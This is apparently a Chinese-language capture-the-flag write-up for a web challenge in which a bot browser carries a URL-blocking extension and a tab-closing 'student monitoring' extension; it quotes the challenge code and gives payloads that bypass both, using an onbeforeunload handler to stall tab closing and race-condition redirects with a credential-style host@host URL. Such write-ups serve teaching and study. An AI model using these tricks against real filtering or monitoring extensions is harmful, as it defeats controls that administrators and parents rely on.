题目内部有一个hook,我们可以自定义容器coolctfgames.localhost的返回
// 根路由处理
app.get('/', (req, res) => {
// 检查主机名是否匹配配置
if(req.get("Host") == config.host || req.get("Host") == config.host + ":" + config.port){
res.send(customHtml);
}else{
// 如果主机名不匹配,返回更新页面
res.sendFile("templates/update.html", { root: process.cwd() });
return;
}
});
我们需要绕过两个浏览器拓展逻辑
// 检查网站是否仍在运行
if(currentUrl.host == config.host || currentUrl.host == config.host + ":" + config.port){
console.log("Flag conditions met.");
shouldGiveFlag = true;
} else {
// 用于本地调试
console.log("Bot did not reach the expected host:", currentUrl.host, pageUrl);
}
// Bot 状态检查接口
app.get("/bot/status", (req, res) => {
if(bot.shouldFlag()){
// 如果满足条件,返回 flag
res.json(process.env.FLAG || ".;,;.{placeholder_flag}");
}else{
// 否则返回 bot 运行状态
res.json(bot.canRunBot());
}
});
拓展1
- 过滤配置:
扩展使用硬编码的filterConfig配置对象,包含一系列规则
每条规则由hostname(主机名)、action(动作)和reason(原因)组成
特别注意:"coolctfgames.localhost"被设置为block(阻止)
- URL解析器:
实现了一个自定义的URLParser类来解析URL
可以从URL中提取protocol、host、hostname、port、pathname、search和hash等部分
提供了params()、updateSearch()、setQueryParam()等方法来操作URL参数
- 拦截请求机制:
通过chrome.webRequest.onBeforeRequest监听器拦截所有网络请求
对每个请求调用filterRequest函数进行过滤处理
使用正则表达式验证URL格式:/^([a-zA-Z]+://)([a-zA-Z0-9_~-.:](/.))$/
- 过滤逻辑:
提取请求URL的hostname
在filterConfig.rules中查找匹配该hostname的规则
如果找到规则且action为"block",则重定向到自定义的阻止页面
重定向URL包含被阻止的hostname和阻止原因作为参数
- 阻止页面:
当请求被阻止时,用户会被重定向到block_page.html
重定向URL包含参数:?hostname=被阻止的域名&reason=阻止原因
/**
* 过滤请求的函数
* @param {chrome.webRequest.OnBeforeRequestDetails} details - 请求详情
* @returns {chrome.webRequest.BlockingResponse | void} 阻塞响应或undefined
*/
function filterRequest(details){
console.log("正在过滤请求:", details);
const url = details.url;
// 验证URL格式,跳过内部请求
const parsed = (new URLParser(url));
const match = parsed.host.match(
/^([a-zA-Z]+:\/\/)*([a-zA-Z0-9\_\~\-\.\:]*(\/.*)*)$/
);
if(!!match){
const hostWithoutPort = parsed.hostname;
const rule = filterConfig.rules.find(r => r.hostname === hostWithoutPort);
if(!rule) return;
if(rule.action === "block"){
// 重定向到自定义页面
return {
redirectUrl: `${chrome.runtime.getURL("block_page.html")}?hostname=${encodeURIComponent(hostWithoutPort)}&reason=${encodeURIComponent(rule.reason)}`
};
}
}else{
throw new Error("无效的主机名");
}
}
拓展2的逻辑相对简单,核心逻辑为
async function tick(){
const tabs = await queryAsync({});
for(let tab of tabs){
if(tab.url){
const url = new URL(tab.url);
if(url.hostname === "coolctfgames.localhost"){
// 警告:学生正在玩游戏!=O =O =O
console.log("正在关闭标签页:", tab.url);
await chrome.tabs.remove(tab.id);
chrome.notifications.create("",{
type: "basic",
title: "Good Guardian",
message: "标签页已关闭。",
priority: 2,
});
}
}
}
}
方案1: 中断
<button id="free-click">free-click</button>
<script>
window.onbeforeunload = () => "stay"
</script>
卡住标签页关闭操作
window.onbeforeunload
事件处理器返回字符串时,会触发浏览器的"确认离开页面"对话框- 在自动化浏览器环境中(如Puppeteer),这种对话框会导致关闭标签页的操作被挂起
chrome.tabs.remove()
函数会被暂停执行,无法完成
绕过studentmonitoring扩展
- studentmonitoring扩展通过
chrome.tabs.remove(tab.id)
尝试关闭包含目标域名的标签页 - 但由于onbeforeunload处理器,关闭操作被阻止
- 标签页依然保持打开状态,URL仍然是coolctfgames.localhost
- studentmonitoring扩展通过
方案2: 条件竞争
<script>
// 定义异步睡眠函数,模拟等待效果
async function sleep(ms) {
// 返回Promise,使用setTimeout在指定毫秒后resolve
await new Promise((resolve) => setTimeout(resolve, ms));
}
// 自执行异步函数(IIFE)
(async () => {
// 打开新窗口/标签页访问指定URL
await open("http://www.baidu.com.fake");
// 等待3000毫秒(3秒)
await sleep(3000);
// 3秒后重定向当前页面到特殊格式URL
// 注意:此URL格式包含凭据信息,可能存在安全风险
window.location.href =
"http://coolctfgames.localhost";
})(); // 立即执行此异步函数
</script>
或
<script>
// 定义并立即执行一个异步函数(IIFE)
(async () => {
// 等待200毫秒(0.2秒)的延时
await new Promise((resolve) => setTimeout(resolve, 200));
// 连续打开三个新窗口(可能被浏览器拦截)
open("http://www.baidu.com.fake?1"); // 带查询参数?1
open("http://www.baidu.com.fake?2"); // 带查询参数?2
open("http://www.baidu.com.fake?3"); // 带查询参数?3
// 将当前页面重定向到特殊格式的URL
window.location.href =
"http://coolctfgames.localhost:3000@coolctfgames.localhost:3000";
})(); // 立即执行此异步函数
</script>